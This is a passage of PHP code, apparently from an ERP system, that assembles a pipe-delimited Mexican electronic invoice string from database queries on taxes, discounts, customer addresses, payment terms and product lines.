DB_fetch_array($rs)){\n\t\t\t\t$charelectronictaxsfederal.=$charelectronictaxsfederalini.\"|\".$regs['nametax'].\"|\".$regs['percent'].\"|\".$regs['amount'];\n\t\t\t\t$totretencionfederal=$totretencionfederal+$regs['amount'];\n\t\t\t}\n\t\t}\n\t\t\n\t\t//impuestos locales\n\t\t$totalretencionlocal=0;\n\t\t//$charelectronictaxslocal='|'.chr(13).chr(10);\n\t\t$qry = \"Select debtortranstaxesclient.*,sec_taxes.nametax from debtortranstaxesclient, sec_taxes\n\t\t\t\twhere debtortranstaxesclient.idtax = sec_taxes.idtax\n\t\t\t\tAND sec_taxes.typetax=2\n\t\t\t\tand debtortranstaxesclient.iddoc = \".$myrow['id'];\n\t\t\t\n\t\t$rs = DB_query($qry,$db);\n\t\t$totalImpuestosLocales=0;\n\t\tif (DB_num_rows($rs) > 0){\n\t\t\t$charelectronictaxslocal.='08';\n\t\t\twhile ($regs = DB_fetch_array($rs)){\n\t\t\t\t$charelectronictaxslocal.=\"|\".$regs['nametax'].\"|\".$regs['percent'].\"|\".$regs['amount'];\n\t\t\t\t$totalretencionlocal=$totalretencionlocal+$regs['amount'];\n\t\t\t}\n\t\t\t$charelectronictaxslocal.=chr(13).chr(10);\n\t\t}\n\t\t$totalretencion=$totretencionfederal+$totalretencionlocal;\n\t\t//Tipo agrupacion\n\t\t$TipoAgrupacionXTag=$myrow['typegroup'];\n\t\t// fecha emision\n\t\t$fechainvoice=$myrow['origtrandate'];\n\t\t$UserRegister=$myrow['UserRegister'];\n\t\t$charelectronic=$charelectronic.'|'.$fechainvoice;\n\n\t\t$metodoPago = $myrow['paymentname'];\n\t\tif ($metodoPago==\"\")\n\t\t\t$metodoPago = \"No Identificado\";\n\n\t\t$nocuenta = $myrow['nocuenta'];\n\t\tif ($nocuenta==\"\")\n\t\t\t$nocuenta = \"No Identificado\";\n\n\t\t// subtotal\n\t\t$rfccliente=str_replace(\"-\",\"\",$myrow['rfc']);\n\t\t$rfccliente=str_replace(\" \",\"\",$rfccliente);\n\t\t$nombre=$myrow['name'];\n\t\t$subtotal= FormatNumberERP($myrow['ovamount']);\n\t\tif (strlen($rfccliente)<12){\n\t\t\t$rfccliente=\"XAXX010101000\";\n\t\t\t$nombre=\"Publico en General\";\n\t\t\t$subtotal= FormatNumberERP($myrow['ovamount']+$myrow['ovgst']);\n\t\t\t$imprimepublico=1;\n\t\t}elseif(strlen($rfccliente)>=14){\n\t\t\t$rfccliente=\"XAXX010101000\";\n\t\t\t$nombre=\"Publico en General\";\n\t\t\t$subtotal= FormatNumberERP($myrow['ovamount']+$myrow['ovgst']);\n\t\t\t$imprimepublico=1;\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$subtotal;\n\t\t// total factura\n\t\t$total=FormatNumberERP($myrow['ovamount']+$myrow['ovgst']+$totalretencion);\n\t\t$charelectronic=$charelectronic.'|'.$total;\n\t\t// total de iva\n\t\t$iva=FormatNumberERP($myrow['ovgst']);\n\t\t// transladado\n\t\t$charelectronic=$charelectronic.'|'.$iva;\n\t\t// retenido\n\t\t$ivaret=0;\n\t\t$charelectronic=$charelectronic.'|'.$ivaret;\n\t\t//descuento trae desde el stockmoves\n\t\tif ($rfccliente!=\"XAXX010101000\"){\n\t\t\t$sqldiscount = 'SELECT sum(totaldescuento) as descuento\n\t\t\t\t FROM stockmoves\n\t\t\t\t WHERE stockmoves.type='.$TypeInvoice.'\n\t\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\t\tAND stockmoves.show_on_inv_crds=1';\n\t\t\t$Result= DB_query($sqldiscount,$db);\n\t\t\tif (DB_num_rows($Result)==0) {\n\t\t\t\t$descuento=0;\n\t\t\t}else{\n\t\t\t\t$myrowdis = DB_fetch_array($Result);\n\t\t\t\t$descuento=FormatNumberERP($myrowdis['descuento']);\n\t\t\t}\n\t\t}else{\n\t\t\t$sqldiscount = 'SELECT sum(totaldescuento+(IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate)*totaldescuento)) as descuento\n\t\t\t \t\t\tFROM stockmoves inner join stockmaster on stockmaster.stockid=stockmoves.stockid\n\t\t\t\t\t\t\t-- LEFT JOIN taxauthrates ON stockmaster.taxcatid = taxauthrates.taxcatid\n\t\t\t\t\t\t\tLEFT JOIN stockmovestaxes ON stockmovestaxes.stkmoveno=stockmoves.stkmoveno\n\t\t\t\t\t\n\t\t\t\t\t \t\tWHERE stockmoves.type='.$TypeInvoice.'\n\t\t\t\t\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\t\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\t\t\t\t\tAND stockmoves.show_on_inv_crds=1';\n\t\t\t$Result= DB_query($sqldiscount,$db);\n\t\t\tif (DB_num_rows($Result)==0) {\n\t\t\t\t$descuento=0;\n\t\t\t}else{\n\t\t\t\t$myrowdis = DB_fetch_array($Result);\n\t\t\t\t$descuento=FormatNumberERP($myrowdis['descuento']);\n\t\t\t}\t\n\t\t}\n\t\t$descuento=FormatNumberERP($descuento);\n\t\t$charelectronic=$charelectronic.'|'.$descuento;\n\t\t//motivo descuento\n\t\t$charelectronic=$charelectronic.'|';\n\t\t// tipo de moneda\n\t\t$moneda=$myrow['currcode'];\n\t\t// CANTIDAD CON LETRAS\n\t\t$totaletras=($myrow['ovamount']+$myrow['ovgst'])+$totalretencion;\n\t\t$totalx=str_replace(',', '', FormatNumberERP($totaletras));\n\t\t$separa=explode(\".\",$totalx);\n\t\t$montoletra = $separa[0];\n\t\t$separa2=explode(\".\", FormatNumberERP($total));\n\t\t$montoctvs2 = $separa2[1];\n\t\t\n\t\t\n\t\t$montoletra=Numbers_Words::toWords($montoletra,'es');\n\t\t\n\t\t$zeroPad = \"\";\n\t\tif (empty($_SESSION['Decimals'])) {\n\t\t\t$zeroPad = str_pad($zeroPad, 4, 0, STR_PAD_RIGHT);\n\t\t} else {\n\t\t\t$zeroPad = str_pad($zeroPad, $_SESSION['Decimals'], 0, STR_PAD_RIGHT);\n\t\t}\n\t\t\n\t\tif ($moneda=='MXN') {\n\t\t\t$montoletra=ucwords($montoletra) . \" Pesos \". $montoctvs2 .\"/1$zeroPad M.N.\";\n\t\t} else {\n\t\t\t$montoletra=ucwords($montoletra) . \" Dolares \". $montoctvs2 .\"/1$zeroPad USD\";\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$montoletra;\n\t\t// tipo moneda\n\t\t$charelectronic=$charelectronic.'|'.$moneda;\n\t\t// tipo de cambio\n\t\t$rate=FormatRateNumberERP(1/$myrow['cambio']);\n\t\t$charelectronic=$charelectronic.'|'.$rate;\n\t\t// numero de orden para referencia\n\t\t$ordenref=$myrow['orderno'];\n\t\t$charelectronic=$charelectronic.'|'.$ordenref;\n\t\t// observaciones 1: vendedores\n\t\t$vendedor=\"\";\n\t\t$SQL=\" SELECT *\n\t\t FROM salesman\n\t\t WHERE salesmancode='\".$myrow['salesman'].\"'\";\n\t\t$Result= DB_query($SQL,$db);\n\t\tif (DB_num_rows($Result)==1) {\n\t\t\t$myrowsales = DB_fetch_array($Result);\n\t\t\t$vendedor=$myrowsales['salesmanname'];\n\t\t}\n\t\t$observaciones1='Vendedor: '.$myrow['salesman'].' '.$vendedor;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones1;\n\t\t// observaciones 2\n\t\t$SQL=\" SELECT l.telephone,l.comments,t.tagdescription\n\t\t FROM legalbusinessunit l, tags t\n\t\t WHERE l.legalid=t.legalid AND tagref='\".$tag.\"'\";\n\t\t$Result= DB_query($SQL,$db);\n\t\tif (DB_num_rows($Result)==1) {\n\t\t\t$myrowtags = DB_fetch_array($Result);\n\t\t\t$telephone=trim($myrowtags['telephone']);\n\t\t\t$comments=trim($myrowtags['comments']);\n\t\t}\n\t\t$observaciones2=\" Atencion a clientes \" .$telephone;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones2;\n\t\t// observaciones 3\n\t\t$comments=$comments.' Cuenta de Referencia: '.$myrow['ref1'];\n\t\t$observaciones3='Id Factura:'.$InvoiceNo. '. La tenencia de esta factura no acredita su pago si no se justifica con el comprobante respectivo. '.$comments .' usr:'.$UserRegister;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones3;\n\t\t// informacionExtra\n\t\t$infoextra=\"\";\n\t\t$numpago=0;\n\t\t$cadenapagares=\"\";\n\t\tif ($TypeInvoice==11){\n\t\t\t$tipodoc=0;\n\t\t}else{\n\t\t\t$tipodoc=70;\n\t\t}\n\t\t\n\t\t$SQL=\" SELECT trandate,case when ovamount<0 then (ovamount+ovgst)*-1 else ovamount+ovgst end as monto\n\t\t FROM debtortrans\n\t\t WHERE debtortrans.type=\".$tipodoc.\"\n\t\t\tAND debtortrans.order_=\" . $InvoiceNo ;\n\t\t$Result= DB_query($SQL,$db);\n\t\tif (DB_num_rows($Result)>0) {\n\t\t\twhile ($myrowpagos=DB_fetch_array($Result)){\n\t\t\t\t$numpago=$numpago+1;\n\t\t\t\t$fechapago=ConvertSQLDate($myrowpagos['trandate']);\n\t\t\t\t$montopago=$myrowpagos['monto'];\n\t\t\t\t$montopago=FormatNumberERP($montopago);\n\t\t\t\t$cadenapagares=$cadenapagares.\" No:\".$numpago.\" Fecha: \".$fechapago.\" Monto: \".$montopago .' '.$moneda;\n\t\t\t}\n\t\t}\n\t\t$placa= $_SESSION['LabelText1'].' : '.$myrow['placa'];\n\t\t$serie=$_SESSION['LabelText3'].' : '.$myrow['serie'];\n\t\t$kilometraje=$_SESSION['LabelText2'].' : '.$myrow['kilometraje'];\n\t\t$comments1=' Extra: '.$myrow['comments'];\n\t\t$infoextra=$placa.' '.$serie.' '.$kilometraje.' '.$comments1.' Pagares: '. $cadenapagares;\n\n\n\t\t$charelectronic=$charelectronic.'|'.$infoextra;\n\n\t\t//cometarios nivel factura\n\t\t$charelectronic=$charelectronic.'|'.$myrow['invtext'];\n\n\t\t// datos de la forma de pago\n\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'02';\n\t\t$terminospago=$myrow['terms'];\n\t\t$SQL=\" SELECT count(*) as pagares\n\t\t FROM debtortrans\n\t\t WHERE debtortrans.type=70\n\t\t\tAND debtortrans.order_=\" . $InvoiceNo ;\n\t\t$Result= DB_query($SQL,$db);\n\t\tif (DB_num_rows($Result)==0) {\n\t\t\t$Tipopago=\"Pago en una sola exhibicion\";\n\t\t}else{\n\t\t\t$myrowpag = DB_fetch_array($Result);\n\t\t\t$numpagares=intval($myrowpag['pagares']);\n\t\t\tif ($numpagares<=1){\n\t\t\t\t$Tipopago=\"Pago en una sola exhibicion\";\n\t\t\t}else{\n\t\t\t\t$Tipopago=\"Parcialidades\";\n\t\t\t}\n\t\t}\n\t\tif ($TypeInvoice==11){\n\t\t\t$Tipopago=\"Pago en una sola exhibicion\";\n\t\t}\n\t\t\n\t\t$Tipopago=$Tipopago;//.' '.$terminospago;\n\t\t//$Tipopago=$terminospago;\n\t\t$charelectronic=$charelectronic.'|'.$Tipopago;\n\t\t// condiciones de pago\n\t\t$charelectronic=$charelectronic.'|'.$terminospago;\n\t\t// metodo de pago\n\t\t$metodopago=$metodoPago;\n\t\t$charelectronic=$charelectronic.'|'.$metodopago;\n\t\t// fecha vencimiento\n\t\t$fechavence=$myrow['trandate'];\n\t\t$charelectronic=$charelectronic.'|'.$fechavence;\n\t\t// observaciones 4 (no de cuenta)\n\t\t$observaciones4=$nocuenta;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones4;\n\t\t// datos del cliente\n\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'03';\n\t\t$branch=$myrow['debtorno'];\n\t\t$charelectronic=$charelectronic.'|'.$branch;\n\t\t$charelectronic=$charelectronic.'|'.$rfccliente;\n\t\t$charelectronic=$charelectronic.'|'.$nombre;\n\t\tif (strlen(str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi']))))))>0){\n\t\t\t$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));//\"Mexico\";//$myrow['name'];\n\t\t}else{\n\t\t\t$pais=\"Mexico\";\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$pais;\n\t\t$calle=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$calle=$myrow['address1'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$calle;\n\t\t$noext=$myrow['brnumext'];\n\t\t$charelectronic=$charelectronic.'|'.$noext;\n\t\t$noint=$myrow['brnumint'];\n\t\t$charelectronic=$charelectronic.'|'.$noint;\n\t\t$colonia=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$colonia=$myrow['address2'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$colonia;\n\t\t$localidad=\"\";\n\t\t$charelectronic=$charelectronic.'|'.$localidad;\n\t\t$referenciacalle=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$referenciacalle=\"Telefono. \".$myrow['telofi'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$referenciacalle;\n\t\t$municipio=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$municipio=$myrow['address3'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$municipio;\n\t\t$edo=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$edo=$myrow['address4'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$edo;\n\t\t$cp=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$cp=$myrow['address5'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$cp;\n\t\t// datos del custbranch\n\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'04';\n\t\t$branch=$myrow['branchcode'];\n\t\t$charelectronic=$charelectronic.'|'.$branch;\n\t\t//$rfc=$myrow['rfc'];\n\t\t//$charelectronic=$charelectronic.'|'.$rfccliente;\n\t\t$nombre=$myrow['name'];\n\t\t$charelectronic=$charelectronic.'|'.$nombre;\n\t\tif (strlen(str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi']))))))>0){\n\t\t\t$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));//\"Mexico\";//$myrow['name'];\n\t\t}else{\n\t\t\t$pais=\"Mexico\";\n\t\t}\n\t\t//$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));//\"Mexico\";//$myrow['name'];\n\t\t$charelectronic=$charelectronic.'|'.$pais;\n\t\t$calle=$myrow['braddress1'];\n\t\t$charelectronic=$charelectronic.'|'.$calle;\n\t\t$noext=$myrow['brnumext'];\n\t\t$charelectronic=$charelectronic.'|'.$noext;\n\t\t$noint=$myrow['brnumint'];\n\t\t$charelectronic=$charelectronic.'|'.$noint;\n\t\t$colonia=$myrow['braddress6'];\n\t\t$charelectronic=$charelectronic.'|'.$colonia;\n\t\t$localidad=\"\";\n\t\t$charelectronic=$charelectronic.'|'.$localidad;\n\t\t$referenciacalle=\"\";\n\t\t$charelectronic=$charelectronic.'|'.$referenciacalle;\n\t\t$municipio=$myrow['braddress2'];;\n\t\t$charelectronic=$charelectronic.'|'.$municipio;\n\t\t$edo=$myrow['braddress3'];\n\t\t$charelectronic=$charelectronic.'|'.$edo;\n\t\t$cp=$myrow['braddress4'];\n\t\t$charelectronic=$charelectronic.'|'.$cp;\n\t\t\n\t\t\n\t\t$charelectronicEmbarque='|'.chr(13).chr(10).'09';\n\t\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['specialinstructions'];\n\t\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr1'];//calle\n\t\t$charelectronicEmbarque=$charelectronicEmbarque.'|';//noext\n\t\t$charelectronicEmbarque=$charelectronicEmbarque.'|';//no int\n\t\t\n\t\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr2'];//colonia\n\t\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr3'];//municipio\n\t\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr4'];//cp\n\t\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr5'];//estado\n\t\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr6'];//pais\n\t\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr7'];\n\t\t\n\t}\n\t// cadena para datos de los productos\n\t// productos vendidos\n\t$charelectronicdetail='';\n\t$charelectronicinidet='|'.chr(13).chr(10).'05';\n\t// datos de ivas\n\t$charelectronictaxs='';\n\t$charelectronictaxsini='|'.chr(13).chr(10).'07';\n\t$decimalplaces=6;\n\n\t\n\tif ($rfccliente!=\"XAXX010101000\"){//\n\t\tif($TipoAgrupacionXTag==1 and $TypeInvoice <> 111){\n\t\t\t$sqldetails = 'SELECT stockmoves.stkmoveno,\n\t\t\t\t\t\t-- stockmoves.stockid,\n\t\t\t\t\t ProdLine.prodLineId as stockid,\n\t\t\t\t\t\tstockmoves.warranty,\n\t\t\t\t\t\t-- stockmaster.description,\n\t\t\t\t\t\tProdLine.Description as description,\n\t\t\t\t\t\t/*stockmaster.serialised,\n\t\t\t\t\t\tstockmaster.controlled,*/\n\t\t\t\t\t\t0 as serialised,\n\t\t\t\t\t\t0 as controlled,\n\t\t\t\t\t\tsum(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) as quantity ,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.decimalplaces,\n\t\t\t\t\t\tstockmoves.discountpercent,\n\t\t\t\t\t\tstockmoves.discountpercent1,\n\t\t\t\t\t\tstockmoves.discountpercent2,\n\t\t\t\t\t\tsum((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price))/sum(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) AS fxnet,\n\t\t\t\t\t\tsum((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price)-totaldescuento)/sum(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) as subtotal,\n\t\t\t\t\t\t-- sum((stockmoves.price*case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)/case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) AS fxprice,\n\t\t\t\t\t\tsum((stockmoves.price*case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end))/sum(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) AS fxprice,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.categoryid,\n\t\t\t\t\t\tstockmoves.loccode as almacen,\n\t\t\t\t\t\tstockmoves.showdescription,\n\t\t\t\t\t\tstockcategory.MensajePV\n\t\t\t\tFROM stockmoves,stockmaster,stockcategory \n\t\t\t\t\t \tINNER JOIN ProdLine ON ProdLine.prodLineId=stockcategory.prodLineId \n\t\t\t\tWHERE stockmoves.stockid = stockmaster.stockid\n\t\t\t\t\tAND stockmoves.type='.$TypeInvoice.'\n\t\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\t\tAND stockmoves.show_on_inv_crds=1\n\t\t\t\t\tAND stockcategory.categoryid = stockmaster.categoryid\n\t\t\t\tGROUP BY ProdLine.Description,ProdLine.prodLineId';\n\t\t\t\n\t\t\t\n\t\t}else{\n\t\t\t$sqldetails = 'SELECT stockmoves.stkmoveno,\n\t\t\t\t\t\tstockmoves.stockid,\n\t\t\t\t\t\tstockmoves.warranty,\n\t\t\t\t\t\tstockmaster.description,\n\t\t\t\t\t\tstockmaster.longdescription,\n\t\t\t\t\t\tstockmaster.mbflag,\n\t\t\t\t\t\tstockmaster.serialised,\n\t\t\t\t\t\tstockmaster.controlled,\n\t\t\t\t\t\t(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) as quantity ,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.decimalplaces,\n\t\t\t\t\t\tstockmoves.discountpercent,\n\t\t\t\t\t\tstockmoves.discountpercent1,\n\t\t\t\t\t\tstockmoves.discountpercent2,\n\t\t\t\t\t\t((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price)) AS fxnet,\n\t\t\t\t\t\t((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price))-totaldescuento as subtotal,\n\t\t\t\t\t\t(stockmoves.price) AS fxprice,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.categoryid,\n\t\t\t\t\t\tstockmoves.loccode as almacen,\n\t\t\t\t\t\tstockmoves.showdescription,\n\t\t\t\t\t\tstockcategory.MensajePV\n\t\t\t\tFROM stockmoves,stockmaster,stockcategory\n\t\t\t\tWHERE stockmoves.stockid = stockmaster.stockid\n\t\t\t\t\tAND stockmoves.type='.$TypeInvoice.'\n\t\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\t\tAND stockmoves.show_on_inv_crds=1\n\t\t\t\t\tAND stockcategory.categoryid = stockmaster.categoryid';\n\t\t}\n\t\t$resultdetails=DB_query($sqldetails,$db);\n\t\t$nolinea=0;\n\t\t$descrprop=\"\";\n\t\n\t\twhile ($myrow2=DB_fetch_array($resultdetails)){\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.$charelectronicinidet.'|'.$stockid;\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockid;\n\t\t\t$stockcantidad=FormatNumberERP($myrow2['quantity']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcantidad;\n\t\t\tif($_SESSION['DescrLargaFact'] == $myrow2['mbflag']){\n\t\t\t\t\t$stockdescrip=$myrow2['description'].' '.$myrow['ordertype'].' '.$myrow2['longdescription'];\n\t\t\t\t}else{\n\t\t\t\t\t$stockdescrip=$myrow2['description'].' '.$myrow['ordertype'];\n\t\t\t\t}\n\t\t\t// valores de los vendedorfees por linea\n\t\t\t$descrprop=\" (\";\n\t\t\t$sqlpropertyes=\"SELECT distinct p.InvoiceValue as val,sp.label\n\t\t\t FROM salesstockproperties p, stockcatproperties sp, stockmaster sm\n\t\t\t WHERE p.stkcatpropid=sp.stkcatpropid\n\t\t\t AND sp.categoryid=sm.categoryid\n\t\t\t\t\t AND sp.reqatprint=1\n\t\t\t\t AND p.orderno=\" . $orderno . \"\n\t\t\t\t AND p.typedocument=\" . $TypeInvoice . \"\n\t\t\t\t AND sm.stockid='\" . $stockid . \"'\";\n\t\t\t$resultpropertyes=DB_query($sqlpropertyes,$db);\n\t\t\t$xt=0;\n\t\t\twhile ($myrowprop=DB_fetch_array($resultpropertyes)){\n// \t\t\t\t$traba=explode(\" \",$myrowprop['val']);\n// \t\t\t\t$trab=$traba[0];\n\t\t\t\t$trab=$myrowprop['val'];\n\t\t\t\tif ($xt==0){\n\n\t\t\t\t\t$descrprop=$descrprop.' '.$myrowprop['label'].':'.$trab;\n\t\t\t\t}else{\n\t\t\t\t\t$descrprop=$descrprop.\" , \".$myrowprop['label'].':'.$trab;\n\t\t\t\t}\n\n\t\t\t\t$xt=$xt+1;\n\t\t\t}\n\t\t\t$descrprop=$descrprop.\" )\";\n\t\t\tif ($xt==0){\n\t\t\t\t$descrprop=\"\";\n\t\t\t}\n\t\t\tif($myrow2['MensajePV'] <> \"\"){\n\t\t\t\t$descrprop = $descrprop.$myrow2['MensajePV'];\n\t\t\t}\n\t\t\t$descrnarrative=\"\";\n\t\t\t\n\t\t\t$descrnarrative=str_replace('\\r','',str_replace('\\n','',$myrow2['narrative']));\n\t\t\t$descrnarrative=str_replace('|', '', $descrnarrative);\n\t\t\t\n\t\t\t/*\n\t\t\tif ($TypeInvoice==11){\n\t\t\t\t$tablades=0;\n\t\t\t}else{\n\t\t\t\t$tipodoc=70;\n\t\t\t}\n\t\t\t\n\t\t\t$sqlnarrative=\"SELECT narrative\n\t\t\t\tFROM salesorderdetails p\n\t\t\t\tWHERE p.orderno=\" . $orderno . \"\n\t\t\t\t AND p.stkcode='\" . $stockid . \"'\";\n\t\t\t$resultnarrative=DB_query($sqlnarrative,$db);\n\t\t\twhile ($myrownarrative=DB_fetch_array($resultnarrative)){\n\t\t\t\t$descrnarrative=str_replace('\\r','',str_replace('\\n','',$myrownarrative['narrative']));\n\t\t\t\t$descrnarrative=str_replace('|', '', $descrnarrative);\n\t\t\t}\n\t\t\tif (strlen($descrnarrative)==0){\n\t\t\t\t$descrnarrative=\"\";\n\t\t\t}*/\n\t\t\t//$descrnarrative=\"\";\n\t\t\t// consulta de aduana\n\t\t\t$stkmoveno=$myrow2['stkmoveno'];\n\t\t\t$almacen=$myrow2['almacen'];\n\t\t\t$numberserie=\"\";\n\t\t\t$xserie=0;\n\t\t\t$sqlserials=\"SELECT stockserialitems.serialno as serie\n\t\t\t\t FROM stockserialmoves , stockmoves , stockserialitems\n\t\t\t\t WHERE stockmoves.stkmoveno=stockserialmoves.stockmoveno\n\t\t\t\t\tAND stockserialmoves.stockid=stockserialitems.stockid\n\t\t\t\t\tAND stockserialmoves.serialno=stockserialitems.serialno\n\t\t\t\t\tAND stockserialitems.loccode='\".$almacen.\"'\n\t\t\t\t\tAND stockmoves.stkmoveno=\".$stkmoveno.\"\n\t\t\t\t\tAND stockmoves.stockid='\".$stockid.\"'\";\n\t\t\t//echo '<pre><br>'.$sqlserials;\n\t\t\t$Result= DB_query($sqlserials,$db);\n\t\t\tif (DB_num_rows($Result)==0) {\n\t\t\t\t$numberserie=\"\";\n\t\t\t}else{\n\t\t\t\twhile ($myrownseries=DB_fetch_array($Result)){\n\t\t\t\t\tif ($xserie==0){\n\t\t\t\t\t\t$numberserie=' Series: '.$myrownseries['serie'];\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$numberserie=$numberserie.', '.$myrownseries['serie'];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (strlen($numberserie)==0){\n\t\t\t\t$numberserie=\"\";\n\t\t\t}\n\t\t\tif($myrow2['showdescription']==1){\n\t\t\t\t$stockdescripuno=$stockdescrip.$descrprop.$descrnarrative.$numberserie;\n\t\t\t}else{\n\t\t\t\tif (strlen($descrnarrative)==0){\n\t\t\t\t\t$stockdescripuno=$stockdescrip.$descrprop.$descrnarrative.$numberserie;\n\t\t\t\t}else{\n\t\t\t\t\t$stockdescripuno=$descrnarrative;\n\n\t\t\t\t}\n\t\t\t}\n\t\t\t/**/\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockdescripuno;\n\t\t\t$stockprecio=FormatNumberERP($myrow2['fxprice']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockprecio;\n\t\t\t$stockneto=FormatNumberERP($myrow2['fxnet']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockneto;\n\t\t\t$stockunits=$myrow2['units'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockunits;\n\t\t\t$stockcat=$myrow2['categoryid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcat;\n\t\t\t$ordencompra=\"\";\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$ordencompra;\n\t\t\t// descuentos\n\t\t\t$discount1=FormatNumberERP($myrow2['discountpercent']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount1;\n\t\t\t$discount2=FormatNumberERP($myrow2['discountpercent1']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount2;\n\t\t\t$discount3=FormatNumberERP($myrow2['discountpercent2']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount3;\n\t\t\t//subtotal\n\t\t\t$subtotal=FormatNumberERP($myrow2['subtotal']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\n\n\n\t\t\t$sqladuana=\"SELECT stockserialitems.customs as aduana,customs_number as noaduana,\n\t\t\t\t\t\tpedimento, DATE_FORMAT(customs_date,'%Y-%m-%d') as fechaaduana\n\n\t\t\t\t FROM stockserialmoves , stockmoves , stockserialitems\n\t\t\t\t WHERE stockmoves.stkmoveno=stockserialmoves.stockmoveno\n\t\t\t\t\tAND stockserialmoves.stockid=stockserialitems.stockid\n\t\t\t\t\tAND stockserialmoves.serialno=stockserialitems.serialno\n\t\t\t\t\tAND stockserialitems.loccode='\".$almacen.\"'\n\t\t\t\t\tAND stockmoves.stkmoveno=\".$stkmoveno.\"\n\t\t\t\t\tAND stockmoves.stockid='\".$stockid.\"'\";\n\t\t\t\n\t\t\t$Result= DB_query($sqladuana,$db);\n\t\t\tif (DB_num_rows($Result)==0) {\n\t\t\t\t$nameaduana=\"\";\n\t\t\t\t$numberaduana=\"\";\n\t\t\t\t$fechaaduana=\"\";\n\t\t\t}else{\n\t\t\t\t$myrowaduana = 